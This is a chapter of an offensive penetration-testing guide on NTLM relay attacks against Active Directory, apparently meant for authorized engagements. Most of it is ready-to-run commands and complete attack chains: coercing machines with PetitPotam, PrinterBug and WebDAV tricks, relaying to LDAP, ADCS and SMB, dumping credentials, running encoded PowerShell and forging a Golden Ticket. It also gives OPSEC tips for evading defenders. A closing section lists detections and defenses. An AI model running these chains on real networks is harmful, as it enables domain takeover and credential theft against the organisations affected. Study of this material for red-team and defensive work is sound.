23 · NTLM Relay Advanced¶
Relay to LDAP, ADCS, and over WebDAV/HTTP to bypass SMB signing.
Phase overview
Coercion gives you the auth; the relay target determines the prize. Relay to LDAP to add a computer or grant DCSync. Relay to ADCS HTTP enrollment for a machine cert (ESC8). Relay over HTTP via WebClient when SMB signing is enforced; HTTP doesn't require signing.
Mental model: coercion + relay = identity laundering
You're never authenticating as anyone. You're convincing a victim to authenticate to you, then forwarding that auth to a service that trusts the victim. Two independent moving parts:
- Coercion primitive (how you trigger the victim into authenticating): PetitPotam (MS-EFSR), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), ShadowCoerce (MS-FSRVP), WebClient UNC (HTTP), authenticated coercion via Coercer
- Relay target (what you do with the auth): LDAP/LDAPS, SMB, HTTP/ADCS, IMAP, MSSQL
Pick the right pair for the SMB-signing / channel-binding posture in front of you.
Signing posture matrix (memorize this)
| Service | Signing default | Required? | Relay viable? |
|---|---|---|---|
| SMB to DC | Required | Yes (always) | No |
| SMB to workstation | Negotiated | No (default) | Yes |
| SMB to server | Negotiated | No (default) | Yes |
| LDAP | Negotiated | Often No | Yes (most environments) |
| LDAPS | Channel binding optional | Often No | Yes (most environments) |
| HTTP (ADCS, WSMan) | None | Never | Always yes |
If LDAP signing is required AND channel binding is enforced on LDAPS, you cannot relay to either. HTTP-based targets (ADCS web enrollment, WSMan) never require signing — that's the WebDAV/ESC8 escape hatch.
23.1 · NTLM Relay to LDAP (Add Computer / DCSync / RBCD)¶
Why this works / how it chains
Relay any user auth to LDAP. --add-computer creates a new computer object you control (since MAQ defaults to 10). --escalate-user grants DCSync rights to the named user. Both require LDAP signing/channel-binding to be unconfigured.
Important nuance: the relayed identity has to have the right to perform the action you're asking LDAP to do. A relayed low-priv user can --add-computer (default MAQ), but --escalate-user needs the relayed account to have WriteDACL on the domain object (typically only DA, EA, or members of Administrators). For grunt-priv relays, --add-computer and RBCD via --delegate-access are the realistic outcomes.
What leads here
- LDAP signing not required (default in most domains pre-2025 hardening)
- LDAPS channel binding not enforced (
EPA = NoneorNegotiated) - Coercion target authenticates as a machine account (machine accounts can write
msDS-AllowedToActOnBehalfOfOtherIdentityon themselves → RBCD) - For DCSync escalation: relay must hit a privileged user (DA-equivalent)
# Relay to LDAP → add new computer or grant DCSync
impacket-ntlmrelayx \
-t ldap://<DC_IP> \
-smb2support \
--add-computer \
--escalate-user youruser
# Relay to LDAPS
impacket-ntlmrelayx \
-t ldaps://<DC_IP> \
-smb2support \
--delegate-access # configure RBCD on coerced machine
# Multiple targets, round-robin (try each until one accepts)
impacket-ntlmrelayx -tf targets.txt -smb2support --add-computer
# Add computer with chosen name + password (default: random)
impacket-ntlmrelayx -t ldap://<DC_IP> -smb2support \
--add-computer 'EVILPC$' --escalate-user attacker
# Just dump LDAP info as the relayed user (no modifications, recon-only)
impacket-ntlmrelayx -t ldap://<DC_IP> -smb2support \
--dump-laps --dump-gmsa --dump-adcs
# Relay only one connection, then exit (clean for OPSEC)
impacket-ntlmrelayx -t ldap://<DC_IP> -smb2support \
--add-computer --no-multirelay
# Specify the SMB relay listener interface (avoid binding 0.0.0.0)
impacket-ntlmrelayx -t ldap://<DC_IP> -smb2support \
--interface-ip <ATTACKER_IP> --add-computer
# Relay through SOCKS so other tools can use the auth context
impacket-ntlmrelayx -t ldap://<DC_IP> -smb2support -socks
# Then in another shell:
proxychains4 -q impacket-secretsdump -no-pass <DOMAIN>/<RELAYED_USER>@<DC_IP>
Chain A: low-priv coerce → relay to LDAP → RBCD → DA
# Goal: compromise WS01 from a foothold where SMB signing is disabled on WS01
# (signing is enforced on DCs but NOT enforced on most workstations by default)
# 1) Start relay to LDAPS, requesting RBCD on whoever connects
impacket-ntlmrelayx -t ldaps://dc.domain.local -smb2support \
--delegate-access --no-multirelay
# 2) Coerce WS01's machine account to authenticate to us
impacket-PetitPotam <ATTACKER_IP> ws01.domain.local
# or
impacket-printerbug 'domain.local/lowpriv:pass@ws01.domain.local' <ATTACKER_IP>
# 3) ntlmrelayx output now shows: created EVILPC$ + wrote RBCD on WS01$
# "Delegation rights modified successfully! evilpc$ can now impersonate users"
# 4) S4U2Self + S4U2Proxy as Administrator → cifs/ws01
impacket-getST -spn cifs/ws01.domain.local \
-impersonate Administrator \
-dc-ip <DC_IP> \
domain.local/'evilpc$':'<EVILPC_PASS>'
# 5) Use the ticket
export KRB5CCNAME=Administrator@cifs_ws01.domain.local@DOMAIN.LOCAL.ccache
impacket-secretsdump -k -no-pass ws01.domain.local
impacket-psexec -k -no-pass ws01.domain.local
# 6) Cleanup (after engagement)
bloodyAD remove rbcd 'ws01$' 'evilpc$'
bloodyAD remove object 'CN=evilpc,CN=Computers,DC=domain,DC=local'
Chain B: relay DA-equivalent auth → DCSync rights
# Requires the relayed identity to have WriteDACL on the domain object.
# Practical scenario: forced auth from a Domain Admin's session.
# 1) Listener
impacket-ntlmrelayx -t ldap://dc.domain.local -smb2support \
--escalate-user attacker --no-multirelay
# 2) Trigger DA auth somehow (admin clicks a UNC, hits a poisoned share, etc.)
# 3) ntlmrelayx output: "User attacker now has DCSync rights"
# 4) DCSync
impacket-secretsdump -just-dc-user krbtgt \
domain.local/attacker:pass@dc.domain.local
# 5) Cleanup
bloodyAD remove dcsync attacker
Detection / OPSEC
- LDAP
addof a newcomputerobject from an unusual source IP is a 4741 event with conspicuous attributes (random hostname, no SPNs initially) msDS-AllowedToActOnBehalfOfOtherIdentitywrites to a computer object are very high-signal — defenders watch this attribute closely- Use
--no-multirelayto avoid hammering the DC with N relayed sessions - Rotate attacker IPs / use legit-looking hostnames for
--add-computer NAME(match domain naming convention)
23.2 · NTLM Relay to ADCS (ESC8)¶
Why this works / how it chains
Already covered in Phase 5 ESC8: repeated here in the relay context. Relay machine account auth to /certsrv → DC machine cert → DCSync.
AD CS HTTP/HTTPS web enrollment endpoints accept NTLM auth and never require channel binding by default (until the May 2022 hardening, and even then only with EPA enabled). A relayed DC machine account can request a cert from the DomainController template, giving you a cert with the DC's identity. From there: PKINIT to a TGT, UnPAC the NT hash, DCSync. Forest takeover from one coerced DC.
What leads here / prerequisites
- AD CS is installed with Web Enrollment role enabled (
/certsrvreachable) - Web Enrollment vhost accepts NTLM (default) and EPA is not strictly required (default until May 2022 KB5005413; many envs still vulnerable)
- You can coerce a Tier-0 machine (DC, ADCS server, or other privileged box) into authenticating to you
- Templates available:
DomainController,Machine,KerberosAuthentication,DomainControllerAuthentication
impacket-ntlmrelayx \
-t http://<CA_IP>/certsrv/certfnsh.asp \
-smb2support \
--adcs \
--template DomainController
PetitPotam.py <ATTACKER_IP> <DC_IP>
printerbug.py domain.local/user:pass@<DC_IP> <ATTACKER_IP>
certipy auth -pfx dc.pfx -dc-ip <DC_IP>
impacket-secretsdump -hashes :<DC_HASH> \
domain.local/'DC$'@<DC_IP>
# HTTPS endpoint (when /certsrv is HTTPS-only)
impacket-ntlmrelayx \
-t https://<CA_IP>/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Modern endpoint name (Server 2019+ uses /certsrv too, but the exact ASP file may differ)
impacket-ntlmrelayx -t http://<CA_IP>/certsrv/certfnsh.asp ...
# Different templates by relayed identity:
# Machine account from DC → DomainController, DomainControllerAuthentication, KerberosAuthentication
# Machine account from server → Machine, Computer
# User account → User, ClientAuth (rarely useful unless target is high-priv)
# Using certipy as a fully-integrated alternative to ntlmrelayx
certipy relay -target http://<CA_IP> -template DomainController
# Then trigger coercion separately
# Once you have the PFX:
certipy auth -pfx dc.pfx -dc-ip <DC_IP>
# → outputs TGT and NT hash via UnPAC-the-hash
# DCSync with the recovered hash
impacket-secretsdump -just-dc \
-hashes :<DC_NT_HASH> \
domain.local/'DC$'@<DC_IP>
Full ESC8 chain: zero creds to forest root
# Starting position: unauthenticated network access, target = DC, ADCS server discovered
# 1) Confirm ADCS web enrollment is reachable
curl -I http://adcs.domain.local/certsrv/certfnsh.asp
# 401 with "WWW-Authenticate: NTLM" → vulnerable
# 2) Start ntlmrelayx targeting ADCS, requesting a DC template cert
impacket-ntlmrelayx \
-t http://adcs.domain.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController \
--no-multirelay
# 3) Coerce DC machine auth (PetitPotam pre-patched, or anonymous PetitPotam works)
# Anonymous PetitPotam (CVE-2021-36942) — no creds needed:
impacket-PetitPotam -u '' -p '' <ATTACKER_IP> dc.domain.local
# If patched, try DFSCoerce:
impacket-dfscoerce -u lowpriv -p pass <ATTACKER_IP> dc.domain.local
# Or PrinterBug if Print Spooler is up:
impacket-printerbug 'domain.local/lowpriv:pass@dc.domain.local' <ATTACKER_IP>
# 4) ntlmrelayx output: base64 PFX, save it
# "Successfully requested certificate for DC$"
# Base64 PFX → decode to dc.pfx
# 5) Use the cert to PKINIT and recover the DC's NT hash
certipy auth -pfx dc.pfx -dc-ip <DC_IP>
# → got TGT, got NT hash for DC$
# 6) DCSync with DC$ machine account
impacket-secretsdump -just-dc \
-hashes :<DC_NT_HASH> \
domain.local/'DC$'@<DC_IP>
# → krbtgt hash → Golden Ticket → forest dominance
# 7) Cleanup (revoke cert if you have CA admin, otherwise note it for the report)
Anonymous PetitPotam / unauthenticated coercion
PetitPotam.py -u '' -p '' <listener> <DC> works against unpatched DCs (KB5005413, May 2022). DFSCoerce is patched separately. ShadowCoerce too. Always try the unauth versions first — they leave no creds in logs.
Detection / OPSEC
- Cert issuance from a
DomainControllertemplate to a DC's own machine account looks legitimate at first glance, but the request source IP is the relay (your box), not the DC itself. Defenders correlating issued-cert source IPs catch this fast - PetitPotam/PrinterBug/DFSCoerce all generate distinctive RPC traffic. Defender for Identity has signatures for them
- 4886/4887 events on the CA log every cert issuance — leaves a permanent paper trail
- Consider revoking the cert post-engagement (CRL update) if you have CA admin rights; otherwise document it in the report
23.3 · WebDAV + Coercion (NTLM via HTTP)¶
Why this works / how it chains
WebClient turns any UNC path with @port into an HTTP request. Coerce a target into hitting attacker@8080 and the auth comes over HTTP, not SMB; bypassing the signing requirement. Then relay to LDAPS for --delegate-access (RBCD on the coerced machine).
Mechanic: the Windows WebClient service translates \\host@port\path UNC syntax into an HTTP PROPFIND to http://host:port/path. That HTTP request carries NTLM auth in the Authorization header. HTTP doesn't sign or channel-bind by default, so relaying it to LDAPS works even when SMB signing is mandated everywhere.
What leads here
- SMB signing is enforced (relay to SMB blocked)
- WebClient service running on a target (Win10 default — but service is "manual start, triggered by login", often dormant on servers)
- HTTP doesn't require signing: perfect bypass
- You need the target's FQDN (not IP) for the WebDAV trigger to work in many cases — Windows resolves the hostname before deciding to use WebClient
Forcing WebClient to start
On servers where WebClient is installed but stopped, you can wake it. Any user-context process that touches a searchconnector-ms file or a UNC with @ will auto-start the service:
# Check if WebClient service running on target
nxc smb <TARGET_IP> -u user -p pass -M webdav
# Setup responder/relay on HTTP
impacket-ntlmrelayx \
-t ldaps://<DC_IP> \
-smb2support \
--delegate-access
# Trigger coercion via WebDAV UNC
# \\attacker@8080\share triggers HTTP auth not SMB
printerbug.py domain.local/user:pass@<TARGET_IP> \
'<ATTACKER_IP>@8080/whatever'
# Start WebDAV listener
python3 -m http.server 8080
# nxc / netexec WebDAV check across the subnet
nxc smb <SUBNET>/24 -u user -p pass -M webdav
# Outputs hosts where WebClient is RUNNING (not just installed)
# Manual check (Windows cmd, low-priv)
sc query WebClient
# STATE: 4 RUNNING — relayable now
# STATE: 1 STOPPED — installed but inactive
# Cross-protocol coercion variations sending HTTP instead of SMB:
# DFSCoerce + WebDAV target syntax
impacket-dfscoerce -u user -p pass \
'<ATTACKER_IP>@8080/share' <TARGET_IP>
# PrinterBug to WebDAV listener
impacket-printerbug 'domain.local/user:pass@<TARGET_IP>' \
'<ATTACKER_IP>@8080/share'
# Coercer auto-tries every coercion primitive
Coercer.py coerce -u user -p pass \
-l '<ATTACKER_IP>@8080/share' -t <TARGET_IP>
Full chain: hardened SMB → WebDAV → RBCD → DA on workstation
# Scenario: SMB signing is enforced everywhere. Standard NTLM relay to SMB
# is dead. But WebClient is up on WS01.
# 1) Confirm WebClient is running on WS01
nxc smb ws01.domain.local -u lowpriv -p pass -M webdav
# → "WebClient Service is running"
# 2) Find WS01's FQDN (must be FQDN for WebDAV to trigger)
nslookup ws01.domain.local
# 3) Listener: HTTP-fronted relay to LDAPS, configure RBCD on whoever lands
impacket-ntlmrelayx \
-t ldaps://dc.domain.local -smb2support \
--delegate-access --no-multirelay \
--http-port 8080
# 4) Coerce WS01's machine account into hitting our WebDAV (NOT SMB)
impacket-printerbug 'domain.local/lowpriv:pass@ws01.domain.local' \
'attacker.domain.local@8080/share'
# Note: attacker hostname here must resolve in the victim's DNS.
# Plant an ADIDNS record if needed:
# bloodyAD add dnsRecord attacker <ATTACKER_IP>
# 5) ntlmrelayx output: created EVILPC$, wrote RBCD on WS01$
# 6-8) Same as Chain A in #23.1: getST → ticket → psexec / secretsdump
# Cleanup: remove the ADIDNS record you planted, remove RBCD, delete EVILPC$
bloodyAD remove dnsRecord attacker <ATTACKER_IP>
bloodyAD remove rbcd 'ws01$' 'evilpc$'
bloodyAD remove object 'CN=evilpc,CN=Computers,DC=domain,DC=local'
Why your WebDAV trigger isn't firing
Common pitfalls when WebDAV coercion fails:
- Using IP, not FQDN: Windows decides "is this a WebDAV URL?" partly based on hostname format. IPs often don't trigger WebClient
- No DNS for attacker host: target can't resolve
attacker.domain.local→ fall back to SMB → blocked by signing. Plant an ADIDNS record (Authenticated Users can by default) - WebClient service stopped: it's installed but only auto-starts in user context. Server SKUs often have it disabled entirely
- Port is blocked outbound: target firewall may permit 445/SMB but not 8080. Try 80, 443, 8000
- Wrong port syntax: it's
@8080, not:8080. The@is what flips the resolver into WebDAV mode
23.4 · Relay to SMB (still useful when signing isn't mandatory)¶
Why this works / how it chains
When SMB signing is not required on the target (workstation defaults, many member servers), you can relay SMB-to-SMB and execute commands, dump SAM, or pull files as the relayed user. Less glamorous than LDAP/ADCS but often the path of least resistance for lateral movement.
What leads here
- Target SMB server has signing negotiated (not required)
- Relayed user has admin rights on the target (otherwise you just get a session you can't do anything with)
- Confirmed via:
nxc smb <subnet>/24 --gen-relay-list relayable.txt
# Generate a list of relayable targets (signing not required)
nxc smb 10.10.10.0/24 --gen-relay-list relayable.txt
# Relay SMB → SMB, execute command on the target
impacket-ntlmrelayx \
-tf relayable.txt -smb2support \
-c 'powershell -enc <BASE64_PAYLOAD>'
# Relay SMB → SMB, dump SAM on the target
impacket-ntlmrelayx -tf relayable.txt -smb2support
# Relay + SOCKS for arbitrary post-relay tooling
impacket-ntlmrelayx -tf relayable.txt -smb2support -socks
# Then:
proxychains4 -q impacket-secretsdump -no-pass <DOMAIN>/<USER>@<TARGET>
proxychains4 -q impacket-smbclient -no-pass <DOMAIN>/<USER>@<TARGET>
# Specific share / file dump
impacket-ntlmrelayx -tf relayable.txt -smb2support \
--enum-local-admins
Multirelay vs single-relay
By default ntlmrelayx will keep a session open and relay multiple times. For OPSEC and reproducibility, prefer --no-multirelay (one shot, exit) when you know exactly which auth you want to use. For SOCKS-mode harvesting (collect lots of sessions, use them ad hoc), keep multirelay enabled.
23.5 · Coercion primitives reference¶
Pick the coercion that fits the patch level + creds you have
| Primitive | RPC interface | Auth required | Notable patches |
|---|---|---|---|
| PetitPotam | MS-EFSR (EfsRpcOpenFileRaw, EfsRpcEncryptFileSrv, etc.) |
None (CVE-2021-36942, anonymous) OR domain user | KB5005413 (May 2022) blocks anonymous on most functions; some still work auth'd |
| PrinterBug / SpoolSample | MS-RPRN (RpcRemoteFindFirstPrinterChangeNotificationEx) |
Domain user | Mitigated by disabling Print Spooler on DCs (PrintNightmare aftermath). Often disabled now. |
| DFSCoerce | MS-DFSNM (NetrDfsRemoveStdRoot) |
Domain user | Patched in June 2022 KB5014754 — but only on DCs. Member servers still vulnerable. |
| ShadowCoerce | MS-FSRVP (IsPathSupported) |
Domain user | KB5015527 (July 2022). Requires File Server VSS Agent service. |
| Coercer (auto) | All of the above + more | Varies | Covers MS-EVEN, MS-RRP, MS-WKST, etc. |
| WebClient UNC | HTTP via WebClient service | Domain user | Not patched (it's a feature). Mitigation = disable WebClient. |
# PetitPotam (anonymous, when patches missing)
impacket-PetitPotam -u '' -p '' <ATTACKER_IP> <TARGET_IP>
# PetitPotam (authenticated)
impacket-PetitPotam -u user -p pass -d domain.local <ATTACKER_IP> <TARGET_IP>
# PrinterBug (Spooler must be running)
impacket-printerbug 'domain.local/user:pass@<TARGET_IP>' <ATTACKER_IP>
# Check Spooler status first
rpcdump.py @<TARGET_IP> | grep -i spool
# DFSCoerce
impacket-dfscoerce -u user -p pass -d domain.local <ATTACKER_IP> <TARGET_IP>
# ShadowCoerce
python3 ShadowCoerce.py -u user -p pass -d domain.local <ATTACKER_IP> <TARGET_IP>
# Coercer (run all viable methods automatically)
Coercer.py scan -u user -p pass -d domain.local -t <TARGET_IP> # what's exploitable
Coercer.py coerce -u user -p pass -d domain.local -l <ATTACKER_IP> -t <TARGET_IP>
# WebDAV-style trigger via any of the above
impacket-printerbug 'domain.local/user:pass@<TARGET_IP>' \
'<ATTACKER_FQDN>@8080/x'
23.6 · End-to-end worked chains (the "show, don't tell" section)¶
Chain 1: Workstation foothold → DC takeover (PetitPotam → ESC8)
# Position: shell on a workstation as a low-priv domain user.
# Target: domain dominance via ADCS.
# 1) Discover ADCS host
certipy find -u lowpriv -p pass -dc-ip <DC_IP>
# → CA = adcs.domain.local, vuln = ESC8 (web enrollment, no EPA)
# 2) Plant ADIDNS for the listener (avoids cleartext IP in coercion args)
bloodyAD add dnsRecord attacker <ATTACKER_IP>
# 3) Listener
impacket-ntlmrelayx \
-t http://adcs.domain.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController \
--no-multirelay
# 4) Coerce the DC
impacket-PetitPotam -u lowpriv -p pass <ATTACKER_FQDN> dc.domain.local
# 5) ntlmrelayx prints PFX → certipy auth → DC$ NT hash
certipy auth -pfx dc.pfx -dc-ip <DC_IP>
# 6) DCSync krbtgt
impacket-secretsdump -just-dc-user krbtgt \
-hashes :<DC_HASH> domain.local/'DC$'@<DC_IP>
# 7) Golden ticket → forest dominance (see #13.2)
# 8) Cleanup
bloodyAD remove dnsRecord attacker <ATTACKER_IP>
Chain 2: SMB-signed everything → WebDAV bypass → RBCD → SYSTEM
# Position: low-priv user, SMB signing required everywhere, ADCS not present
# or hardened. Need an alternative path.
# 1) Find a host with WebClient running (not just installed)
nxc smb 10.10.10.0/24 -u lowpriv -p pass -M webdav
# → ws05.domain.local: WebClient running
# 2) Plant ADIDNS for our HTTP listener hostname
bloodyAD add dnsRecord evilrelay <ATTACKER_IP>
# 3) Listener: HTTP front, LDAPS back, configure RBCD
impacket-ntlmrelayx -t ldaps://dc.domain.local -smb2support \
--delegate-access --no-multirelay --http-port 8080
# 4) Coerce ws05's machine account into HTTP auth via WebDAV
impacket-printerbug 'domain.local/lowpriv:pass@ws05.domain.local' \
'evilrelay.domain.local@8080/x'
# 5) ntlmrelayx output: EVILPC$ created, RBCD configured on WS05$
# 6) S4U to Administrator
impacket-getST -spn cifs/ws05.domain.local \
-impersonate Administrator -dc-ip <DC_IP> \
domain.local/'evilpc$':'<EVILPC_PASS>'
# 7) SYSTEM on ws05
export KRB5CCNAME=Administrator@cifs_ws05.domain.local@DOMAIN.LOCAL.ccache
impacket-psexec -k -no-pass ws05.domain.local
# 8) Cleanup
bloodyAD remove dnsRecord evilrelay <ATTACKER_IP>
bloodyAD remove rbcd 'ws05$' 'evilpc$'
bloodyAD remove object 'CN=evilpc,CN=Computers,DC=domain,DC=local'
Chain 3: SOCKS-mode harvesting (use one auth N times)
# Goal: passively collect every NTLM auth on the wire, use them later.
# 1) Spin up Responder for poisoning + ntlmrelayx for harvesting
# Disable Responder's SMB/HTTP servers since ntlmrelayx will own those
sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf
sed -i 's/HTTP = On/HTTP = Off/' /etc/responder/Responder.conf
sudo responder -I eth0 -wd
# 2) Multi-target relay with SOCKS
impacket-ntlmrelayx -tf relayable.txt -smb2support -socks
# 3) As authentications come in, ntlmrelayx logs each session:
# [*] SOCKS: Adding domain.local/SVCACCT@10.10.10.5(445) to active SOCKS connections.
# [*] SOCKS: Adding domain.local/HELPDESK@10.10.10.20(445) to active SOCKS connections.
# 4) Use them ad hoc through proxychains
proxychains4 -q impacket-secretsdump -no-pass domain.local/[email protected]
proxychains4 -q impacket-smbclient -no-pass domain.local/[email protected]
proxychains4 -q evil-winrm -i 10.10.10.5 -u SVCACCT -p invalid
# (proxychains makes the auth go through the harvested session, password is ignored)
# 5) List active SOCKS sessions any time
socks
23.7 · Detection, OPSEC, defenses¶
What defenders see
- 4624 (logon) with
Authentication Package = NTLMto the relay target — but with the source IP of the attacker, not the legitimate workstation. Strong correlation signal. - 4768/4769 are absent (NTLM, not Kerberos) — anomaly when the rest of the environment is Kerberos-dominant
- 5145 (file share access) spikes from one source to many destinations — relay scanning signature
- 4742 (computer account modified) for
msDS-AllowedToActOnBehalfOfOtherIdentitywrites — RBCD configuration is loud - 4886/4887 (cert request/issue) for ADCS relays
- Microsoft Defender for Identity has dedicated detections for "Suspected NTLM relay attack" and "Resource based constrained delegation suspicious activity"
OPSEC playbook for relay engagements
- Use
--no-multirelaywhenever you have one specific outcome in mind (one auth, one action, exit) - Match the attacker hostname to the domain naming convention (
SVR-FILES-04notkalibox) - Plant ADIDNS records via
bloodyAD add dnsRecordso DNS for your listener resolves cleanly - Always plan and execute cleanup: remove RBCD, remove created computer accounts, remove ADIDNS records, document any issued certs
- Prefer SOCKS-mode harvesting over active coercion when you can wait — passive collection draws less attention than RPC coercion bursts
Defenses to recommend in the report
- Enable LDAP signing required + LDAPS channel binding (EPA) on all DCs (
LDAPServerIntegrity = 2,LdapEnforceChannelBinding = 2) - Enforce SMB signing everywhere, not just on DCs (
RequireSecuritySignature = 1via GPO) - Disable WebClient service on workstations and servers that don't need WebDAV (
Set-Service WebClient -StartupType Disabled) - Patch ADCS web enrollment: enable EPA on
/certsrv(HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Extended Protection), or disable HTTP entirely and require HTTPS - Disable NTLM where possible (
RestrictNTLMGPOs), or at minimum audit it - Restrict machine account creation: set
ms-DS-MachineAccountQuota = 0so authenticated users can't--add-computer - Disable Print Spooler on all servers that aren't print servers (kills PrinterBug)
- Apply KB5005413, KB5014754, KB5015527 for PetitPotam, DFSCoerce, ShadowCoerce respectively
23.8 · Quick-reference decision tree¶
Pick your relay target in 10 seconds
Can you coerce a Tier-0 (DC, ADCS) machine?
│
├── Yes → Is ADCS web enrollment exposed?
│ │
│ ├── Yes → Relay to ADCS (#23.2). DCSync. Forest takeover.
│ │
│ └── No → Is LDAP signing not required?
│ ├── Yes → Relay to LDAP --escalate-user (#23.1)
│ └── No → Try DFSCoerce + relay to LDAPS (channel binding often unset)
│
└── No (only workstation/member-server coercion) →
Is SMB signing required on the target?
│
├── No → Relay SMB → SMB (#23.4) for code exec
│
└── Yes → Is WebClient running on any reachable host?
├── Yes → WebDAV coerce → relay to LDAPS --delegate-access (#23.3)
└── No → Look for ADCS regardless; other unprotected HTTP NTLM
endpoints (Exchange OWA/EWS, internal IIS apps)